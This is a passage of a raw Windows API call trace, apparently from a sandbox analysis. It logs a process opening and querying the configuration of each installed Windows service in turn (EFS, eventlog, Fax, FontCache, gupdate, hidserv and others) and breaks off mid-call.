[0249.165] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.165] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.165] GetLastError () returned 0x7a [0249.165] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x136, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e67ec8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1e67f10, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0249.166] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="EFS", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.166] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.167] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.167] GetLastError () returned 0x7a [0249.167] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x102, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e67f58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0249.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1e67f58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0249.168] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="ehRecvr", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.168] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.169] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.169] GetLastError () returned 0x7a [0249.169] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x132, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x1e67fa0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr.exe", lpUsedDefaultChar=0x0) returned 11 [0249.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1e67fa0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0249.170] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="ehSched", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.170] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.171] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.171] GetLastError () returned 0x7a [0249.171] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x134, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x1e67fe8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched.exe", lpUsedDefaultChar=0x0) returned 11 [0249.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1e67fe8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0249.172] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="eventlog", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.172] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.173] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.173] GetLastError () returned 0x7a [0249.173] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68030, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1e68030, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0249.174] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="EventSystem", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.174] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.175] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.175] GetLastError () returned 0x7a [0249.175] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68078, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1e68078, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0249.177] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Fax", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.178] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.178] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.179] GetLastError () returned 0x7a [0249.179] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x1e680c0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fxssvc.exe", lpUsedDefaultChar=0x0) returned 10 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1e680c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0249.179] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="fdPHost", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.180] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.180] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.181] GetLastError () returned 0x7a [0249.181] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68108, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1e68108, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0249.181] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="FDResPub", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.182] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.182] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.183] GetLastError () returned 0x7a [0249.183] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x186, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68150, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1e68150, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0249.183] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="FontCache", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.184] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.184] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.185] GetLastError () returned 0x7a [0249.185] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68198, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1e68198, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0249.185] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.186] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.186] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.187] GetLastError () returned 0x7a [0249.187] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x194, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x1e681e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="presentationfontcache.exe", lpUsedDefaultChar=0x0) returned 25 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1e681e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0249.187] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="gpsvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.188] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.188] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.189] GetLastError () returned 0x7a [0249.189] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68228, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1e68228, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0249.189] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="gupdate", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.190] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.190] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.191] GetLastError () returned 0x7a [0249.191] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x1e68270, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1e68270, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0249.192] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="gupdatem", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.192] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.192] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.193] GetLastError () returned 0x7a [0249.193] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x1e682b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1e682b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0249.194] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="hidserv", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.194] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.194] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.195] GetLastError () returned 0x7a [0249.195] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x13e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68300, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1e68300, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0249.196] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="hkmsvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.196] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.196] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.197] GetLastError () returned 0x7a [0249.197] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, 